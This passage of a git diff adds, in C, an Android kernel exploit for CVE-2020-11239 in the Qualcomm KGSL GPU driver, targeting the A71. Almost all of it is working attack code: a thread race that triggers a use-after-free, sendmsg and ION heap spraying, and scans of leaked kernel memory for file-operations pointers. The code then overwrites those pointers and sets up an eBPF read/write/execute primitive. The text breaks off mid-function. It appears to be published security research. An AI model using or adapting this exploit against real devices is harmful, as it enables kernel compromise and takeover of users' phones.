fastrpc_ioctl_munmap_fd { + int fd; /* fd */ + uint32_t flags; /* control flags */ + uintptr_t va; /* va */ + ssize_t len; /* length */ +}; + +struct fastrpc_ioctl_perf { /* kernel performance data */ + uintptr_t data; + uint32_t numkeys; + uintptr_t keys; +}; + + +#define FASTRPC_IOCTL_INVOKE _IOWR('R', 1, struct fastrpc_ioctl_invoke) +#define FASTRPC_IOCTL_MMAP _IOWR('R', 2, struct fastrpc_ioctl_mmap) +#define FASTRPC_IOCTL_MUNMAP _IOWR('R', 3, struct fastrpc_ioctl_munmap) +#define FASTRPC_IOCTL_MMAP_64 _IOWR('R', 14, struct fastrpc_ioctl_mmap_64) +#define FASTRPC_IOCTL_MUNMAP_64 _IOWR('R', 15, struct fastrpc_ioctl_munmap_64) +#define FASTRPC_IOCTL_INVOKE_FD _IOWR('R', 4, struct fastrpc_ioctl_invoke_fd) +#define FASTRPC_IOCTL_SETMODE _IOWR('R', 5, uint32_t) +#define FASTRPC_IOCTL_INIT _IOWR('R', 6, struct fastrpc_ioctl_init) +#define FASTRPC_IOCTL_INVOKE_ATTRS \ + _IOWR('R', 7, struct fastrpc_ioctl_invoke_attrs) +#define FASTRPC_IOCTL_GETINFO _IOWR('R', 8, uint32_t) +#define FASTRPC_IOCTL_GETPERF _IOWR('R', 9, struct fastrpc_ioctl_perf) +#define FASTRPC_IOCTL_INIT_ATTRS _IOWR('R', 10, struct fastrpc_ioctl_init_attrs) +#define FASTRPC_IOCTL_INVOKE_CRC _IOWR('R', 11, struct fastrpc_ioctl_invoke_crc) +#define FASTRPC_IOCTL_CONTROL _IOWR('R', 12, struct fastrpc_ioctl_control) +#define FASTRPC_IOCTL_MUNMAP_FD _IOWR('R', 13, struct fastrpc_ioctl_munmap_fd) + +#define FASTRPC_CONTROL_LATENCY (1) +struct fastrpc_ctrl_latency { + uint32_t enable; /* latency control enable */ + uint32_t level; /* level of control */ +}; + +#define FASTRPC_CONTROL_KALLOC (3) +struct fastrpc_ctrl_kalloc { + uint32_t kalloc_support; /* Remote memory allocation from kernel */ +}; + +struct fastrpc_ioctl_control { + uint32_t req; + union { + struct fastrpc_ctrl_latency lp; + struct fastrpc_ctrl_kalloc kalloc; + }; +}; + +#define FASTRPC_INIT_CREATE 1 + + +struct scatterlist { + unsigned long page_link; + unsigned int offset; + unsigned int length; + uint64_t dma_address; + unsigned int dma_length; +}; + +enum region_type { + binder, + dma, + null +}; + +//---------------BPF--------------------------------------------------------- + +#define BPF_ALU64_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_ALU64_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV64_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_LD_IMM64(DST, IMM) \ + BPF_LD_IMM64_RAW(DST, 0, IMM) + +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32) (IMM) }), \ + ((struct bpf_insn) { \ + .code = 0, /* zero is reserved opcode */ \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64) (IMM)) >> 32 }) + +#define BPF_MOV64_RAW(TYPE, DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_SRC(TYPE), \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_STX_XADD(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_JMP_REG(OP, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_JMP_A(OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_JA, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = 0 }) + +// This check has been added to ensure that function calls are always within the allowed range. +#define BPF_EMIT_CALL__IMM(FUNC) ({ \ + uintptr_t __offset = (FUNC) - __bpf_call_base; \ + (__s32) __offset; \ + }) + +#define BPF_EMIT_CALL(FUNC) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_CALL, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = BPF_EMIT_CALL__IMM(FUNC)/*((FUNC) - __bpf_call_base)*/ }) + +#define BPF_EXIT_INSN() \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_EXIT, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = 0 }) + + +#endif diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c new file mode 100644 index 0000000..036f2c2 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c @@ -0,0 +1,1047 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "kgsl_exploit.h" +#include + +//A71: +//dma_buf_fops - __bpf_prog_run32 +#define DMA_TO_BPF 0x16f2798 +//null_fops - __bpf_prog_run32 +#define NULL_TO_BPF 0x16c2700 +//__bpf_prog_run32 - __bpf_call_base +#define BPF_TO_BASE 0x18f8 + +#define SPRAY_1 1 +#define PIPE 1 + +#define DELAY 4000 +#define OBJ_SIZE 37 +#define NENTS 1 +#define NB_REALLOC_THREADS 8 +#define SYS_LEN 0x1000 +#define SYS_LEN_0 0xf000 +//between 320 -480 seems ok +#define REGIONS_LEN_1 (480 * 16) +#define REGIONS_LEN_2 (1024) +#define DMA_ADDRESS 0xfffbf000 +#define DMA_PAGES 64 +#define VMAS_LEN 50 +#define ORDER 26 +#define TRIGGER_THRESH 1000 +#define BOUNCE_LEN 64 +#define SLAB_LEN 5000 +#define CPU0 0 +#define CPU1 1 + +#ifdef DMA_SPRAY + #define MMAP_LEN 64 + #ifdef SPRAY_1 + #define G_REGION_LEN 4 + #else + #define G_REGION_LEN 3 + #endif +#else + #define MMAP_LEN 65 + #ifdef SPRAY_1 + #define G_REGION_LEN 2 + #else + #define G_REGION_LEN 1 + #endif +#endif + +static volatile size_t g_nb_realloc_thread_ready = 0; +static volatile size_t g_realloc_now = 0; +static volatile size_t g_trigger_now = 0; +static volatile size_t g_map_now = 0; +static volatile size_t g_import_now = 0; +static volatile size_t g_finished_read = 0; +static volatile size_t g_unlocked_read = 0; +static volatile char* g_ion_regions[G_REGION_LEN] = {0}; +static char* bounce_regions[BOUNCE_LEN]; +static int bounce_fds[BOUNCE_LEN]; +static char* ion_sys_regions[REGIONS_LEN_1 + REGIONS_LEN_2] = {0}; +static int ion_sys_fds[REGIONS_LEN_1] = {0}; +static int ion_sys_fds2[REGIONS_LEN_2] = {0}; +static long trigger_time = 0; +static unsigned long ion_addr = 0; +static unsigned long bpf_addr = 0; + +//-------eBPF program, from https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries-android.html ------------------------------------------------------- + +// 25. Copy an eBPF program to run into the ION buffer. A pointer to this program is passed +// to __bpf_prog_run32() as the second argument. +// +// This program will implement a very simple read/write/execute busy loop: it reads from +// the ION buffer to see if there's an operation ('r', 'w', or 'x') to run, reads the +// parameters from the ION buffer, and then executes the operation. +//operation +static int bpf_op_offset = 0x000; +//rw input address +static int bpf_rw_addr_offset = 0x008; +//output address +static int bpf_out_offset = 0x108; +//arguments offsets +static int bpf_arg0 = 0x10; +static int bpf_arg1 = 0x18; +static int bpf_arg2 = 0x20; +static int bpf_arg3 = 0x28; +static int bpf_arg4 = 0x30; + +//---------------------------------sendmsg heap spraying, from https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html --------------------------------- + +#define CPU_SETSIZE 1024 +#define __NCPUBITS (8 * sizeof (unsigned long)) +typedef struct +{ + unsigned long __bits[CPU_SETSIZE / __NCPUBITS]; +} cpu_set_t; + +#define CPU_SET(cpu, cpusetp) \ + ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS))) +#define CPU_ZERO(cpusetp) \ + memset((cpusetp), 0, sizeof(cpu_set_t)) + +void reset_globals() { + g_nb_realloc_thread_ready = 0; + g_realloc_now = 0; + g_trigger_now = 0; + g_map_now = 0; + g_import_now = 0; + g_finished_read = 0; + g_unlocked_read = 0; + for (int i = 0; i < G_REGION_LEN; i++) { + g_ion_regions[i] = 0; + } +} + +void migrate_to_cpu(int cpu_num) { + int syscallres; + pid_t pid = gettid(); + cpu_set_t cpu; + CPU_ZERO(&cpu); + CPU_SET(cpu_num, &cpu); + + syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu); + if (syscallres) + { + err(1, "Error in the syscall setaffinity"); + } +} + +static volatile char g_realloc_data[OBJ_SIZE]; + +int init_realloc_data(uint64_t dma_address, size_t length) { + struct cmsghdr *first; + struct scatterlist* scatter_view; + + first = (struct cmsghdr*) g_realloc_data; + first->cmsg_len = sizeof(g_realloc_data); + first->cmsg_level = 0; + + scatter_view = (struct scatterlist*) g_realloc_data; + for (int i = 0; i < NENTS; i++) { + scatter_view[i].length = length; + scatter_view[i].dma_length = length; + scatter_view[i].dma_address = dma_address; + } + return 0; +} + +struct realloc_thread_arg +{ + pthread_t tid; + int recv_fd; + int send_fd; + struct sockaddr_un addr; +}; + +int init_unix_sockets(struct realloc_thread_arg * rta) { + struct timeval tv; + static int sock_counter = 0; + + if (((rta->recv_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) || + ((rta->send_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0)) + { + perror("[-] socket"); + goto fail; + } + + memset(&rta->addr, 0, sizeof(rta->addr)); + rta->addr.sun_family = AF_UNIX; + sprintf(rta->addr.sun_path + 1, "sock_%x_%d", gettid(), ++sock_counter); + if (bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) + { + perror("[-] bind"); + goto fail; + } + + if (connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) + { + perror("[-] connect"); + goto fail; + } + + memset(&tv, 0, sizeof(tv)); + if (setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv))) { + err(1, "setsockopt"); + } + + return 0; +fail: + printf("[-] failed to initialize UNIX sockets!\n"); + return -1; +} + +static void* realloc_thread(void *arg) +{ + struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg; + struct msghdr mhdr; + char buf[200]; + + // initialize msghdr + struct iovec iov = { + .iov_base = buf, + .iov_len = sizeof(buf), + }; + memset(&mhdr, 0, sizeof(mhdr)); + mhdr.msg_iov = &iov; + mhdr.msg_iovlen = 1; + + // the thread should inherit main thread cpumask, better be sure and redo-it! + migrate_to_cpu(CPU0); + + // make it block + while (sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0); + + if (errno != EAGAIN) + { + perror("[-] sendmsg"); + goto fail; + } + + // use the arbitrary data now + iov.iov_len = 16; // don't need to allocate lots of memory in the receive queue + mhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffer + mhdr.msg_controllen = sizeof(g_realloc_data); + + g_nb_realloc_thread_ready++; + + while (!g_realloc_now) // spinlock until the big GO! + ; + + // the next call should block while "reallocating" + if (sendmsg(rta->send_fd, &mhdr, 0) < 0) + { + perror("[-] sendmsg"); + goto fail; + } + printf("[+] REALLOC THREAD finished\n"); + return NULL; + +fail: + printf("[-] REALLOC THREAD FAILURE!!!\n"); + return NULL; +} + +int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs, uint64_t dma_address, size_t length) +{ + int thread = 0; + int ret = -1; + + if (init_realloc_data(dma_address, length)) + { + printf("[-] failed to initialize reallocation data!\n"); + goto fail; + } + printf("[+] reallocation data initialized!\n"); + + printf("[ ] initializing reallocation threads, please wait...\n"); + for (thread = 0; thread < nb_reallocs; ++thread) + { + if (init_unix_sockets(&rta[thread])) + { + printf("[-] failed to init UNIX sockets!\n"); + goto fail; + } + + if ((ret = pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0) + { + perror("[-] pthread_create"); + goto fail; + } + } + + while (g_nb_realloc_thread_ready < nb_reallocs) + sched_yield(); + + printf("[+] %lu reallocation threads ready!\n", nb_reallocs); + + return 0; + +fail: + printf("[-] failed to initialize reallocation\n"); + return -1; +} + +//------------------------ Specifics to trigger the bug------------------------------------- + +struct trigger_uaf_arg { + int fd; + unsigned int read; +}; + +void* trigger_uaf(void* arg) { + + migrate_to_cpu(CPU1); + struct trigger_uaf_arg* trigger_arg = (struct trigger_uaf_arg*)arg; + struct dma_buf_sync sync; + struct timeval start, end; + long micros_used, secs_used; + if (trigger_arg->read) { + sync.flags = DMA_BUF_SYNC_READ; + } else { + sync.flags = DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END; + } + sync.flags |= DMA_BUF_SYNC_USER_MAPPED; + while (!g_trigger_now); + for (int i = 0; i < DELAY; i++); + gettimeofday(&start, NULL); + ioctl(trigger_arg->fd, DMA_BUF_IOCTL_SYNC, (unsigned long)(&sync)); + gettimeofday(&end, NULL); + secs_used=(end.tv_sec - start.tv_sec); //avoid overflow by subtracting first + trigger_time = ((secs_used*1000000) + end.tv_usec) - (start.tv_usec); + printf("micros_used: %ld\n",trigger_time); + return NULL; +} + +void* read_pipe(void* arg) { + int buffer[80]; + + migrate_to_cpu(CPU1); + int fd = *((int*)arg); + read(fd, buffer, sizeof(buffer)); + g_unlocked_read = 1; + close(fd); + while(!g_finished_read); + return NULL; +} + +void* ion_map(void* arg) { + migrate_to_cpu(CPU0); + int fd = *((int*)arg); +#ifdef SPRAY_1 + while (!g_map_now); +#endif + for (int i = 0; i < G_REGION_LEN; i++) { + g_ion_regions[i] = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, i * 0x1000); + if (g_ion_regions[i] == MAP_FAILED) { + err(1, "ion region map %d failed", i); + } + } + return NULL; +} + +void* gpu_import(void* arg) { + migrate_to_cpu(CPU0); + struct kgsl_gpuobj_import* par = (struct kgsl_gpuobj_import*)arg; + int kgsl_fd = par->id; + par->id = 0; + while (!g_import_now); +#ifndef SPRAY_1 + for (int i = 0; i < G_REGION_LEN; i++) { + munmap((void*)(g_ion_regions[i]), 0x1000); + } +#endif + if (ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, par) < 0) { + err(1, "IOCTL_KGSL_GPUOBJ_IMPORT 2 failed.\n"); + } + return NULL; +} + +uint64_t compute_alignment(size_t power) { + return (uint64_t)((power << 16) & 0xFF0000); +} + +//Fill out kgsl memory so the next one will fail +void prepare_gpu_import(int kgsl_fd, uint64_t* regions) { + + for (int i = 0; i < MMAP_LEN - 1; i++) { + struct kgsl_gpuobj_import par; + struct kgsl_gpuobj_import_useraddr useraddr = {.virtaddr = regions[i]}; + par.flags = compute_alignment(ORDER); + par.priv = (uint64_t)(&useraddr); + par.type = KGSL_USER_MEM_TYPE_ADDR; + par.priv_len = 0x1000; + par.id = 0; + if (ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, &par) < 0) { + err(1, "IOCTL_KGSL_GPUOBJ_IMPORT %d\n", i); + } + } +} + +//-----------------------------------bounce buffer and buddy heap spraying-------------------- + +struct bounce_buffer_param { + int rpc_fd; + int ion_fd; + int process_fd; + int args_fd; + char* process_region; + char* args_region; + char* sys_region; + int null_fds[SLAB_LEN]; +}; + +void spray_system_heap(int ion_fd, struct bounce_buffer_param* param) { + //First round spraying, use large chunk up the memory pool. + for (int i = 0; i < REGIONS_LEN_1; i++) { + struct ion_allocation_data ion_alloc_data; + ion_alloc_data.len = SYS_LEN_0; + ion_alloc_data.flags = 1; + ion_alloc_data.heap_id_mask = ION_HEAP(25); + + if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) { + err(1, "ION_IOC_ALLOC bounce failed\n"); + } + ion_sys_fds[i] = ion_alloc_data.fd; + } + //Second round spraying, use single page so we can map it to bounce buffer. + for (int i = 0; i < REGIONS_LEN_2; i++) { + struct ion_allocation_data ion_alloc_data; + ion_alloc_data.len = SYS_LEN; + ion_alloc_data.flags = 1; + ion_alloc_data.heap_id_mask = ION_HEAP(25); + + if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) { + err(1, "ION_IOC_ALLOC bounce failed\n"); + } + ion_sys_fds2[i] = ion_alloc_data.fd; + } + + //Spray with null files to create new slab + for (int i = 0; i < SLAB_LEN; i++) { + param->null_fds[i] = open("/dev/null", 0); + } + + + //set the top and bottom as bounce regions + if (BOUNCE_LEN < 2) { + err(1, "bounce len has to be greater than or equal to 2\n"); + } + //Use region2 to map the rest of the bounce buffer. + for (int i = 0; i < BOUNCE_LEN; i++) { + if (i == 1) continue; + bounce_regions[i] = ion_sys_regions[i] = mmap(NULL, SYS_LEN, PROT_READ | PROT_WRITE, MAP_SHARED, ion_sys_fds2[REGIONS_LEN_2 - 1 - BOUNCE_LEN + i], 0); + if (bounce_regions[i] == MAP_FAILED) { + err(1, "bounce regions failed\n"); + } + bounce_fds[i] = ion_sys_fds2[REGIONS_LEN_2 - 1 - BOUNCE_LEN + i]; + } + //Last of region 1 should be below the new slab, map it to the first bounce region + bounce_regions[1] = ion_sys_regions[1] = mmap(NULL, SYS_LEN, PROT_READ | PROT_WRITE, MAP_SHARED, ion_sys_fds2[REGIONS_LEN_2 - 1], 0); + if (bounce_regions[1] == MAP_FAILED) { + err(1, "bounce regions failed\n"); + } + bounce_fds[1] = ion_sys_fds2[REGIONS_LEN_2 - 1]; +} + +void allocate_bounce_buffer(struct bounce_buffer_param* param) { + + int ion_fd = open("/dev/ion", O_RDONLY); + if (ion_fd == -1) { + err(1, "cannot open ion\n"); + } + + spray_system_heap(ion_fd, param); + int rpc_fd; + + int rpc_id = open("/dev/adsprpc-smd", 0); + if (rpc_id == -1) { + err(1, "cannot open rpc\n"); + } + printf("rpc opened\n"); + uint32_t info_ptr[1]; + info_ptr[0] = 3; + + if(ioctl(rpc_id, FASTRPC_IOCTL_GETINFO, info_ptr) < 0) { + err(1, "rpc getinfo failed\n"); + } + + for (int i = 0; i < BOUNCE_LEN; i++) { + struct remote_dma_handle dma = {.fd = bounce_fds[i], .offset = 0}; + union remote_arg args[1]; + args[0].dma = dma; + + struct fastrpc_ioctl_invoke invoke = {0}; + invoke.handle = 0x3; + invoke.sc = 16; + invoke.pra = &(args[0]); + unsigned int attrs = 16; + struct fastrpc_ioctl_invoke_attrs crc; + crc.inv = invoke; + crc.attrs = &attrs; + crc.fds = &(bounce_fds[i]); + ioctl(rpc_id, FASTRPC_IOCTL_INVOKE_ATTRS, &crc); + } + param->rpc_fd = rpc_fd; + param->ion_fd = ion_fd; + return; +} + +void sync_bounce_buffer(int read, int index) { + struct dma_buf_sync sync; + sync.flags = DMA_BUF_SYNC_RW; + if (read) { + sync.flags |= DMA_BUF_SYNC_END; + } + if (ioctl(bounce_fds[index], DMA_BUF_IOCTL_SYNC, (unsigned long)(&sync)) < 0) { + err(1, "error syncing bounce buffer %d\n", index); + } +} + +void sync_bounce_buffers(int read) { + printf("[+] syncing bounce buffers\n"); + for (int i = 0; i < BOUNCE_LEN; i++) { + sync_bounce_buffer(read, i); + } +} + +//----------------------------Utils for finding addresses and faking objects------------------------------------ + +//Fetch the pointer to the wait_list in struct file to calculate own address, then +//take away offset to calculate controlled ion buffer address. +unsigned long calculate_ion_addr(long offset, int region) { + long wait_list_offset = offset + 0x38; + long total_offset = wait_list_offset + (region - 2)* SYS_LEN; + unsigned long* wait_list_addr = (unsigned long*)(&(ion_sys_regions[region][wait_list_offset])); + printf("null file addr: %lx\n", *wait_list_addr); + return *wait_list_addr - total_offset - SYS_LEN; +} + +void overwrite_fops(int region, long offset, unsigned long ion_addr) { + unsigned long* fops_addr = (unsigned long*)(&(ion_sys_regions[region][offset])); + printf("overwrite fops %lx\n", fops_addr[1]); + fops_addr[1] = ion_addr; + return; +} +//overwrite file mode to allow lseek +void overwrite_fmode(int region, long offset) { + long fmode_offset = offset + 0x28; + unsigned int* fmode = (unsigned int*)(&(ion_sys_regions[region][fmode_offset])); + printf("overwrite fops %x\n", fmode[0]); + //Add fmode lseek + *fmode |= 0x4; + return; +} + +long search_null_fops(char* data, size_t len, unsigned long* result) { + size_t left = len; + char* curr = data; + unsigned long* curr_long; + //Observed pattern of a null file struct. These are right after the null_fops + const char null_pattern[32] = { + 0, 0, 0, 0, 0, 0, 0, 0, 0x1, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0x2, 0, 0x1d, 0, 0x2, 0, 0, 0, 0, 0, 0, 0, 0, 0 + }; + + while (left) { + if (left >= 64) { + //match + if (!memcmp(curr + 16, &(null_pattern[0]), 32)) { + curr_long = (unsigned long*)curr; + *result = curr_long[1]; + if ((*result >> 48) == 0xffff) { + return curr - data; + } + } + } + curr += 16; + left -= 16; + } + return -1; +} + +long search_dma_fops(char* data, size_t len, unsigned long* result) { + size_t left = len; + char* curr = data; + unsigned long* curr_long; + //Observed pattern of a dma file struct. These are right after the dma_fops + const char dma_pattern[32] = { + 0, 0, 0, 0, 0, 0, 0, 0, 0x1, 0, 0, 0, 0, 0, 0, 0, + 0x2, 0, 0, 0, 0x7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 + }; + + while (left) { + if (left >= 64) { + //match + if (!memcmp(curr + 16, &(dma_pattern[0]), 32)) { + curr_long = (unsigned long*)curr; + *result = curr_long[1]; + if ((*result >> 48) == 0xffff) { + return curr - data; + } + } + } + curr += 16; + left -= 16; + } + return -1; +} + +int find_null_fops() { + unsigned long null_fops; + for (int i = 2; i < BOUNCE_LEN; i++) { + if (ion_sys_regions[i] != 0) { + long offset = search_null_fops(&(ion_sys_regions[i][0]), SYS_LEN, &null_fops); + if (offset != -1) { + printf("[+] Found null_fops at %d region offset %ld %lx\n", i, offset, null_fops); + ion_addr = calculate_ion_addr(offset, i); + bpf_addr = null_fops - NULL_TO_BPF; + printf("[+] ion region location: %lx\n", ion_addr); + printf("[+] bpf addr: %lx\n", bpf_addr); + overwrite_fops(i, offset, ion_addr); + overwrite_fmode(i, offset); + return i; + } + } + } + printf("[-] Failed to find null_fops\n"); + return -1; +} + +int find_dma_fops() { + unsigned long dma_fops; + for (int i = 2; i < BOUNCE_LEN; i++) { + if (ion_sys_regions[i] != 0) { + long offset = search_dma_fops(&(ion_sys_regions[i][0]), SYS_LEN, &dma_fops); + if (offset != -1) { + printf("[+] Found dma_buf_fops at %d region offset %ld %lx\n", i, offset, dma_fops); + ion_addr = calculate_ion_addr(offset, i); + bpf_addr = dma_fops - DMA_TO_BPF; + printf("[+] ion region location: %lx\n", ion_addr); + printf("[+] bpf addr: %lx\n", bpf_addr); + overwrite_fops(i, offset, ion_addr); + overwrite_fmode(i, offset); + return i; + } + } + } + printf("[-] Failed to find dma_buf_fops\n"); + return -1; +} + +void dump_memory(int i) { + char name[64]; + snprintf(name, sizeof(name), "/data/local/tmp/mem_dump/mem_dump%u.bin", i); + + FILE* fptr = fopen(name, "wb"); + if (fptr == NULL) { + err(1, "error open dump file\n"); + } + + for (int i = 2; i < 64; i++) { + if (ion_sys_regions[i] != 0) { + fwrite(&(ion_sys_regions[i][0]), SYS_LEN, 1, fptr); + } + } + + fclose(fptr); +} + +//----------------------------------------------exploit part----------------------------------------- + +void do_one_rw(uint64_t dma_address, size_t length, uint64_t* regions, char* ion_region, int* ion_alloc_fds, unsigned int read) { + struct realloc_thread_arg rta[NB_REALLOC_THREADS]; + memset(rta, 0, sizeof(rta)); + if (init_reallocation(rta, NB_REALLOC_THREADS, dma_address, length)) { + err(1, "[-] failed to initialize reallocation!\n"); + } + + int kgsl_fd; + + kgsl_fd = open("/dev/kgsl-3d0", 0); + if (kgsl_fd == -1) { + err(1, "cannot open kgsl\n"); + } + + prepare_gpu_import(kgsl_fd, regions); + + struct kgsl_gpuobj_import par; + struct kgsl_gpuobj_import_useraddr useraddr = {.virtaddr = (uint64_t)ion_region}; + par.flags = 0x1F0000; + par.type = KGSL_USER_MEM_TYPE_ADDR; + par.priv_len = 0x1000; + par.priv = (uint64_t)(&useraddr); + par.id = 0; + + pthread_t trigger_tid; + struct trigger_uaf_arg arg = {.fd = ion_alloc_fds[0], .read = read}; + + if (pthread_create(&trigger_tid, NULL, trigger_uaf, &arg) != 0) { + err(1, "[-] pthread_create trigger"); + } + int pipe_write[PIPE]; + for (int i = 0; i < PIPE; i++) { + int pipe_fd[2]; + pipe(pipe_fd); + + pthread_t rw_tid; + if (pthread_create(&rw_tid, NULL, read_pipe, &(pipe_fd[0])) != 0) { + err(1, "[-] pthread_create read"); + } + pipe_write[i] = pipe_fd[1]; + struct sched_param sched_par = {0}; + + if (pthread_setschedparam(rw_tid, SCHED_NORMAL, &sched_par) != 0) { + err(1, "[-] set priority for rw failed\n"); + } + } + + struct kgsl_gpuobj_import par2; + par2.flags = 0x1000; + par2.priv_len = 0x1000; + par2.id = kgsl_fd; +#ifdef DMA_SPRAY + struct kgsl_gpuobj_import_dma_buf buf = {.fd = ion_alloc_fds[2]}; + par2.type = KGSL_USER_MEM_TYPE_DMABUF; + par2.priv = (uint64_t)(&buf); +#else + struct kgsl_gpuobj_import_useraddr useraddr2 = {.virtaddr = regions[MMAP_LEN - 1]}; + par2.type = KGSL_USER_MEM_TYPE_ADDR; + par2.priv = (uint64_t)(&useraddr2); +#endif + + struct sched_param sched_par = {0}; + + if (pthread_setschedparam(trigger_tid, SCHED_IDLE, &sched_par) != 0) { + err(1, "[-] set priority for trigger failed\n"); + } + + + char write_char; + write_char = 'a'; + + migrate_to_cpu(CPU0); + + pthread_t import_tid; + if (pthread_create(&import_tid, NULL, gpu_import, &par2) != 0) { + err(1, "[-] pthread gpu_import"); + } +#ifdef SPRAY_1 + pthread_t ion_map_tid; + if (pthread_create(&ion_map_tid, NULL, ion_map, &(ion_alloc_fds[1])) != 0) { + err(1, "[-] pthread_create ion_map"); + } +#endif + sleep(1); +#ifndef SPRAY_1 + ion_map(&(ion_alloc_fds[1])); +#endif + + ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, &par); +#ifdef SPRAY_1 + g_map_now = 1; + sched_yield(); + sleep(1); + while (!g_ion_regions[G_REGION_LEN - 1]); + for (int i = 0; i < G_REGION_LEN; i++) { + munmap((void*)(g_ion_regions[i]), 0x1000); + } +#endif + g_import_now = 1; + sched_yield(); + sleep(1); + + struct kgsl_gpumem_free_id id = {.id = par2.id}; + + g_trigger_now = 1; + for (int i = 0; i < PIPE; i++) { + write(pipe_write[i], &write_char, 1); + } + while (!g_unlocked_read); + ioctl(kgsl_fd, IOCTL_KGSL_GPUMEM_FREE_ID, &id); + g_realloc_now = 1; + sched_yield(); // don't run me, run the reallocator threads! + sleep(5); + g_finished_read = 1; + + close(kgsl_fd); + struct msghdr mhdr; + unsigned int size = 0; + for (int i = 0; i < NB_REALLOC_THREADS; i++) { + while (size == 0) { + if ((size = recvmsg(rta[i].recv_fd, &mhdr, MSG_DONTWAIT)) < 0) { + err(1, "receive"); + } + } + size = 0; + } + if (trigger_time < TRIGGER_THRESH) { + printf("[-] Failed to win the race\n"); + } else { + printf("[+] Read/Write operation succeeded\n"); + } + for (int i = 0; i < PIPE; i++) { + close(pipe_write[i]); + } + reset_globals(); +} + +size_t compute_ion_region_size() { + return (1 << ORDER) - 0x1000 * (VMAS_LEN + 2); +} + +int init_tmp_region(int ion_fd, char** tmp_ion_regions, char** ion_region) { + int 